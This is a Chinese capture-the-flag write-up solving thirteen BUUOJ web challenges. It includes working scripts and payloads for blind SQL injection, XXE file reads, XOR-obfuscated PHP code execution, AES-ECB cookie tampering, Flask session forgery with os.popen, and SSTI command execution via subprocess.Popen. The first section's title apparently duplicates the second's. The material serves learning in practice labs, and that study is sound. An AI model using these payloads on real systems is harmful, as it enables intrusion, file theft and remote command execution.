BUUOJ-web刷题(五)

0x 01 [PASECA2019]honey_shop

  • 考点

    SQL注入、session机制

  • 解题过程

在templates下的PHP文件都有一句话:!isset($_SESSION) AND die("Direct access on this script is not allowed!");

$_SESSION数组在session_start()初始化后才产生。因此我们直接访问templates下的,$_SESSION还不存在。

与Session相关的另一个选项叫session.upload_progress.enabled,默认为On,在这个选项被打开的前提下我们在multipart POST的时候传入PHP_SESSION_UPLOAD_PROGRESS,PHP会执行session_start()(具体请参考这里)。

本地测试一下:

1
2
3
4
5
6
7
8
import requests

url = "http://192.168.0.8/login.php"

files = {"file": "123456789"}
a = requests.post(url=url, files=files, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"},
cookies={"PHPSESSID": "test1"},proxies={'http': "http://127.0.0.1:8080"})
print(a.text)

利用代理抓包发现成功执行session_start();

在login.php中存在SQL注入,最终payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/env python
import requests
dict = "{}-abcdefghijklmnopqrstuvwxyz1234567890"
flag = ""
url = 'http://67fab014-d40a-4993-ba68-b765f4741a63.node3.buuoj.cn/templates/login.php'
files = {"file":"123"}
data = {"PHP_SESSION_UPLOAD_PROGRESS":"123"}
cookies = {"PHPSESSID":"123"}

for b in range(1,42):
for i in dict:
params={"username":'test" or (ascii(substr((select group_concat(secret) from flag_tbl),'+str(b)+',1))='+str(ord(i))+')#',"password":"test"}
a = requests.post(url=url,files=files,data=data,cookies=cookies,params=params).text
if 'meta' in a:
print(i)
flag += i
break
print(flag)

参考资料:

https://tiaonmmn.github.io/2019/10/08/PwnThyBytes-2019-Baby-sql-is-not-baby-anymore/

https://guokeya.github.io/post/N0i4q6Q4f/

0x 02 [PASECA2019]honey_shop

  • 考点

    lfi、flasksession安全机制

  • 解题过程

  1. 通过图片下载功能本地文件包含读取当前进程的环境变量,获取SECRET_KEY

  1. 解密当前的session,得到'{"balance":1336,"purchases":[]}',修改金额,再次加密购买得到flag

加解密脚本:https://github.com/noraj/flask-session-cookie-manager

需要注意的是那个脚本对Python版本有一定的限制,最好是在Python 3.6 Linux下运行。

参考资料:

https://tiaonmmn.github.io/2019/10/19/PASECACTF-2019-Honey-shop/

0x 03 [FireshellCTF2020]Caas

  • 考点

    文件包含

  • 解题过程

题目是输入C语言代码。会给你一个编译好的可执行程序

1
#include 命令告诉预处理器将指定头文件的内容插入到预处理器命令的相应位置

通过包含根目录的flag报错来显示文件内容

0x 04 [GoogleCTF2019 Quals]Bnv

  • 考点

    本地XXE

  • 解题过程

ubuntu系统自带/usr/share/yelp/dtd/docbookx.dtd文件

它定义了很多参数实体并调用,所以我们可以在内部重写一个该dtd文件中含有的参数实体,如ISOmaso

然后在xml中。重写dtd。

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0"?>
<!DOCTYPE message[
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///flag">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

参考资料:

http://yugod.xmutsec.com/index.php/2019/07/14/50.html

0x 05 [BSidesCF 2019]SVGMagic

  • 考点

    xxe

  • 解题过程

svg 其实就是 xml, 所以还是 xxe,读取当前进程中的flag,payload如下:

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" >
]>
<svg height="100" width="1000">
<text x="10" y="20">&file;</text>
</svg>

0x 06 [CSAWQual 2019]Web_Unagi

  • 考点

    xxe

  • 解题过程

根据题目提示构造XXEpayload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version='1.0'?>
<!DOCTYPE users [
<!ENTITY xxe SYSTEM "file:///flag" >]>
<users>
<user>
<username>bob</username>
<password>passwd2</password>
<name> Bob</name>
<email>bob@fakesite.com</email>
<group>CSAW2019</group>
<intro>&xxe;</intro>
</user>
</users>

但是被waf掉了,可以通过编码转换绕过

1
iconv -f utf8 -t utf16 simple.xml>1.xml

0x 07 [ISITDTU 2019]EasyPHP

  • 考点

    特殊webshell

  • 解题过程

由于php的动态特性,PHP默认会把没有加引号的字符串当成常量处理,找不到对应常量就会将其解释成字符串,因此没有引号不是限制。

另外还有一点,PHP调用函数,可以使用字符串调用。

1
2
3
4
5
6
7
final_string="phpinfo"
allowed="!#%()*+-/:;<=>?@ABCHIJKLMNQRTUVWXYZ\]^abchijklmnqrtuvwxyz}~"
for a in final_string:
for i in allowed:
for p in allowed:
if ord(i)^ord(p)==ord(a):
print("i=%s p=%s a=%s"%(i,p,a))

暴力搜索符合条件的字符串,例如:phpinfo==%8f%97%8f%96%91%99%90^%ff%ff%ff%ff%ff%ff%ff。

除了必要的()^;以外,我们最多剩余9个字符的空间,可以通过爆破的方式进行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
result2 = [0x8b, 0x9b, 0xa0, 0x9c, 0x8f, 0x91, 0x9e, 0xd1, 0x96, 0x8d, 0x8c]  # Original chars,11 total
result = [0x9b, 0xa0, 0x9c, 0x8f, 0x9e, 0xd1, 0x96, 0x8c] # to be deleted
temp = []
for d in result2:
for a in result:
for b in result:
for c in result:
if (a ^ b ^ c == d):
if a == b == c == d:
continue
else:
print("a=0x%x,b=0x%x,c=0x%x,d=0x%x" % (a, b, c, d))
if d not in temp:
temp.append(d)
print(len(temp), temp)

结果:print_r(scandir(.));==((%9b%9c%9b%9b%9b%9b%9c)^(%9b%8f%9b%9c%9c%9b%8f)^(%8f%9e%96%96%8c%a0%9e)^(%ff%ff%ff%ff%ff%ff%ff))(((%9b%9b%9b%9b%9b%9b%9c)^(%9b%9b%9b%9c%a0%9b%8f)^(%8c%9c%9e%96%a0%96%9e)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff));

最后payload:

1
show_source(end(scandir(.)));==((%8d%9c%97%a0%88%8d%97%8d%9c%a0%a0)^(%9a%97%9b%88%a0%9a%9b%9b%8d%9c%9a)^(%9b%9c%9c%a0%88%9b%9c%9c%9c%a0%a0)^(%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff))(((%a0%97%8d)^(%9a%9a%9b)^(%a0%9c%8d)^(%ff%ff%ff))(((%8d%a0%88%97%8d%9b%9c)^(%9a%9c%8d%9a%9b%9a%8d)^(%9b%a0%9b%9c%8d%97%9c)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff)));

参考资料:

https://tiaonmmn.github.io/2019/07/18/ISITDTU-Easy-PHP/

0x 08 [BSidesCF 2019]Mixer

  • 考点

    AES 的 ECB 翻转攻击

  • 解题过程

burp设置跟随重定向

根据题目的提示修改cookie发现报错,得到原文信息大致为:

1
{"first_name":"xxx","last_name":"xxx","is_admin":0}

可以推测是 ECB 加密, 如果是 CBC 的话, 前面也会变成乱码,我们知道 ECB 加密是 16 位一组, 并且每组互相独立, 加密后为 32 位,而这里的目标是让is_admin变成 1, 单纯的翻转的话不太好操作, 毕竟我们不知道 IV.json有个特性:1.0 = 1

那么我们尝试构造如下:

1
2
3
4
5
{"first_name":"A
1.00000000000000
","last_name":"p
aww","is_admin":
0}

所以我们可以分为5块,而加密后是以16进制表示的,所以我们需要的第二块就在32-64,我们把这块加在倒数第二块。第二块的值为1.00000000000000最后一块为0},所以结合起来就是1.000000000000000},再与之前的结合.整体就是

1
{"first_name":"A1.00000000000000","last_name":"paww","is_admin":1.000000000000000}

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
import requests,re
url = "http://c40cb849-de86-41c4-9b19-74e70fb66483.node3.buuoj.cn/"
action = """?action=login&first_name=A1.00000000000000&last_name=paww"""
r = requests.get(url + action, verify=False, allow_redirects=False) #取消认证和禁止重定向
for c in r.cookies:
print(c.name, c.value)
if c.name == "user":
c.value = c.value[:-32] + c.value[32:64] + c.value[-32:]

resp = requests.get(url, cookies=r.cookies, verify=False, allow_redirects=False)

print(resp.text)

参考资料:

https://cjm00n.top/CTF/Buu%E5%88%B7%E9%A2%98%E8%AE%B0%E5%BD%953.html#BSidesCF-2019-Pick-Tac-Toe

https://blog.csdn.net/a3320315/article/details/104335989

0x 09 PyCalX 1&2

  • 考点

    布尔盲注、

  • 解题过程

  1. 首先分析关键代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
FLAG = open('/var/www/flag','r').read()
source = arguments['source'].value
def get_value(val):
val = str(val)[:64]
if str(val).isdigit(): return int(val)
blacklist = ['(',')','[',']','\'','"'] # I don't like tuple, list and dict.
if val == '' or [c for c in blacklist if c in val] != []:
print('<center>Invalid value</center>')
sys.exit(0)
return val
def get_op(val):
val = str(val)[:2]
list_ops = ['+','-','/','*','=','!']
if val == '' or val[0] not in list_ops:
print('<center>Invalid op</center>')
sys.exit(0)
return val
op = get_op(arguments['op'].value)
value1 = get_value(arguments['value1'].value)
value2 = get_value(arguments['value2'].value)
calc_eval = str(repr(value1)) + str(op) + str(repr(value2))

题目的功能类似于一个计算器。
计算结果为value1+op+value2,其中value1和2不能出现"()[]\',op的第一个字符只能是+-/*=!

repr函数在处理字符串的时候会自己给加上引号

因为op限定开头但没有限定第二个字符,我们可以插入单引号。并且注释后面的单引号进行逃逸

1
2
'test' +'' and source in flag#
value1' op value2

1
2
3
4
5
6
7
8
9
10
11
12
import requests
url="http://2cc20ee8-8b8c-491e-81f0-2465837dcc5f.node3.buuoj.cn/cgi-bin/pycalx.py?value1=f&op=%2b'&value2=+and+True+and+source+in+FLAG%23&source="
s='abcdefghijkmnlopqrstuvwxyz0123456789-}'
flag='flag{'
for a in range(50):
for i in s:
r=requests.get(url=url+flag+i).text
print(url+flag+i)
if 'False' not in r:
print(flag)
flag+=i
break

第一小题的op获取是这样的

1
op = get_op(arguments['op'].value)

第二小题是这样的

1
op = get_op(get_value(arguments['op'].value))

过滤了单引号这里使用F-strings,它支持表达式运算。
value1 = Truevalue2 ={source*0 if source in FLAG else 233}op = +f
执行的代码为:
'True'+f'{source*0 if source in FLAG else 233}'

如果匹配成功返回True,匹配失败返回True233

buuoj一直打不出来很迷

0x 10 [watevrCTF-2019]Supercalc

  • 考点

    flask session伪造、ssti

  • 解题过程

利用1/0#读取flask session加密所用的key值,由于他的计算代码是存储在session中的,伪造cookie执行命令

1
2
3
4
python3.6 flask_session_cookie_manager3.py encode -s "cded826a1e89925035cc05f0907855f7" -t "{'history':[{'code':'__import__(\"os\").popen(\"ls -a\").read()'}]}"
发现存在flag.txt文件
python3.6 flask_session_cookie_manager3.py encode -s "cded826a1e89925035cc05f0907855f7" -t "{'history':[{'code':'__import__(\"os\").popen(\"cat flag.txt\").read()'}]}"
读取flag

0x 11 [BSidesCF 2019]Sequel

  • 考点

    sqlite注入

  • 解题过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
import string
import base64

URL = 'http://d2303429-2d9f-4353-b4c5-737c9b6b084f.node3.buuoj.cn/sequels'
LETTERS = string.printable
target = ""
while True:
f = False
for e in LETTERS:
tmp = target + e
payload = r'{{"username":"\" or CASE WHEN SUBSTR((SELECT name FROM sqlite_master limit 0,1),{},1)=\"{}\" THEN true ELSE false END or \"","password":"guest"}}'.format(len(tmp), e)
# payload = r'{{"username":"\" or CASE WHEN SUBSTR((SELECT username FROM userinfo limit 1,1),{},1)=\"{}\" THEN true ELSE false END or \"","password":"guest"}}'.format(len(tmp),e)
# payload = r'{{"username":"\" or CASE WHEN SUBSTR((SELECT password FROM userinfo limit 1,1),{},1)=\"{}\" THEN true ELSE false END or \"","password":"guest"}}'.format(len(tmp),e)
payload = base64.b64encode(payload.encode('utf-8')).decode("utf-8")
req = requests.Request('GET',URL,cookies={"1337_AUTH": payload})

prepared = req.prepare()
s = requests.Session()
r = s.send(prepared, allow_redirects=False)
if "Movie" in r.text:
target = tmp
print(target)
f = True
break
if f: continue
exit()

得到管理员账号和密码登录得到flag

0x 12 入群题2

  • 考点

    SQL注入、mysql客户端恶意文件读取、php版本特性

  • 解题过程

  1. 登录框存在SQL注入,利用反斜杠转义,用with group来构造token返回结果为空,最终payload如下:
1
username=\&password=||1 group by token with rollup having token is NULL--+&question=1
  1. 登录进去发现PHP版本5.2.17,在查看数据的这一部分通过网络请求发现可以路径,使用%00截断进行目录遍历,查看根目录重要文件如下:
1
2
I_am_password_8e7y3262ye9h3sdu2hs9qw
I_am_flag2ijwy2w7892yw2uowh2

  1. 同时还发现该系统有数据备份功能,可以使用mysql任意文件读取进行获取flag。

​ 利用脚本:https://github.com/Gifts/Rogue-MySql-Server

0x 13 [CSCCTF 2019 Qual]FlaskLight

  • 考点

    flask ssti

  • 解题过程

利用subprocess.Popen执行命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
import re
import html
import time

index = 0
for i in range(170, 1000):
try:
url = "http://fd353abb-9623-450c-a960-d91d0ad9c8a3.node3.buuoj.cn/?search={{''.__class__.__mro__[2].__subclasses__()[" + str(i) + "]}}"
r = requests.get(url)
res = re.findall("<h2>You searched for:<\/h2>\W+<h3>(.*)<\/h3>", r.text)
time.sleep(0.1)
# print(res)
# print(r.text)
res = html.unescape(res[0])
print(str(i) + " | " + res)
print(res)
if "subprocess.Popen" in res:
index = i
break
except:
continue
print("indexo of subprocess.Popen:" + str(index))

得到在258位,剩下的如下:

1
2
3
4
5
?search={{''.__class__.__mro__[2].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}}

?search={{''.__class__.__mro__[2].__subclasses__()[258]('ls /flasklight',shell=True,stdout=-1).communicate()[0].strip()}}

?search={{''.__class__.__mro__[2].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()}}